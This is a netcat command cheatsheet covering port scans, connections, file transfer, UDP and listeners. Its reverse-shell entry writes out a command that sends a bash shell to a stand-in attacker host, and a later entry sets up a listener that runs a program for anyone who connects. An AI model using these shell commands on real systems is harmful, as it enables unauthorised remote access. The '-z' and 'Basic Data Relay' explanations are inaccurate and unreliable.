Cheatsheet & Examples: nc
Port Scanning
Example Usage:nc -zv example.com 80 443
What it does:
Scans specified ports on a target host to determine if they are open. The -z option suppresses connection attempts, and -v provides verbose output.
Command-line Arguments Explained:
-z: Enables zero-I/O mode, used for port scanning without establishing a connection.-v: Enables verbose mode to display detailed information about the scan.example.com: Target hostname or IP address.80 443: Port numbers to scan.
Connecting to a Remote Server
Example Usage:nc example.com 80
What it does:
Establishes a TCP connection to a remote server on a specified port, allowing data to be sent or received.
Command-line Arguments Explained:
example.com: Target hostname or IP address.80: Port number to connect to.
Listening for Incoming Connections
Example Usage:nc -l 8080
What it does:
Listens for incoming TCP connections on a specified port, acting as a simple server.
Command-line Arguments Explained:
-l: Enables listening mode (server).8080: Port number to listen on.
File Transfer Between Machines
Example Usage:
Receiver: nc -l 9999 > received_file.txt
Sender: nc 192.168.1.1 9999 < send_file.txt
What it does:
Transfers files between two machines over a network by using Netcat as a data conduit.
Command-line Arguments Explained:
-l: Enables listening mode on the receiver.9999: Port number for the transfer.> received_file.txt: Redirects received data to a file.< send_file.txt: Sends the contents of a file to the remote host.
Sending Data to a Server
Example Usage:echo "GET / HTTP/1.1" | nc example.com 80
What it does:
Sends raw data (e.g., HTTP requests) to a server via a TCP connection.
Command-line Arguments Explained:
example.com: Target hostname or IP address.80: Port number to send data to.
UDP Communication
Example Usage:nc -u 192.168.1.1 53
What it does:
Establishes a UDP connection to a remote host, useful for testing DNS or other UDP-based services.
Command-line Arguments Explained:
-u: Specifies UDP protocol instead of TCP.192.168.1.1: Target hostname or IP address.53: Port number (e.g., DNS).
Reverse Shell (Security Use Case)
Example Usage:nc -e /bin/bash attacker.com 4444
What it does:
Connects to a remote host (e.g., an attacker’s machine) and provides a shell, often used for reverse connections in penetration testing.
Command-line Arguments Explained:
-e: Executes the specified command (e.g.,/bin/bash) after connecting.attacker.com: Target hostname or IP address.4444: Port number to connect to.
Timeouts and Connection Management
Example Usage:nc -w 5 example.com 22
What it does:
Sets a timeout for connection attempts or data transfers. If no response is received within the timeout, the command exits.
Command-line Arguments Explained:
-w 5: Sets a 5-second timeout for the connection.example.com: Target host.22: Port number (e.g., SSH).
Using Source IP/Port
Example Usage:nc -s 192.168.1.100 -p 5000 example.com 80
What it does:
Specifies a source IP address and port for outgoing connections, useful for testing network interfaces or bypassing firewall rules.
Command-line Arguments Explained:
-s 192.168.1.100: Sets the source IP address.-p 5000: Sets the source port.example.com: Target host.80: Target port.
Creating a Simple Chat Server
Example Usage:
Receiver: nc -l 1234
Sender: nc 192.168.1.1 1234
What it does:
Establishes a basic two-way communication channel between two machines, useful for ad-hoc chat or testing.
Command-line Arguments Explained:
-l: Enables listening mode on the receiver.1234: Port number for the chat channel.192.168.1.1: Receiver’s IP address (sender’s target).
Redirecting Output to a File
Example Usage:nc 192.168.1.1 80 > output.html
What it does:
Saves the data received from a remote server (e.g., an HTTP response) to a local file.
Command-line Arguments Explained:
192.168.1.1: Target host.80: Port number.> output.html: Redirects the received data to a file.
Listening with Keep-Alive (-k)
Example Usage:nc -l -k 9999
What it does:
Listens for incoming connections and stays active after each connection is closed, allowing continuous use.
Command-line Arguments Explained:
-l: Enables listening mode.-k: Keeps the listener running after a connection ends.9999: Port number.
Testing HTTP Servers
Example Usage:nc example.com 80
Then type GET / HTTP/1.1 and press Enter twice.
What it does:
Manually interacts with an HTTP server to test responses or troubleshoot issues.
Command-line Arguments Explained:
example.com: Target hostname.80: Port for HTTP.
Basic Data Relay
Example Usage:nc -u -z 192.168.1.1 53
What it does:
Relays data between hosts using UDP, useful for simple network testing or packet forwarding.
Command-line Arguments Explained:
-u: Uses UDP protocol.-z: Scans the port without sending data.192.168.1.1: Target host.53: Port for DNS or UDP service.
Running Commands on Connection
Example Usage:nc -l -p 8080 -e /usr/bin/python3
What it does:
Starts a listener on a port and executes a command (e.g., a Python script) when a connection is made.
Command-line Arguments Explained:
-l: Enables listening mode.-p 8080: Specifies the port to listen on.-e /usr/bin/python3: Executes the given command upon connection.
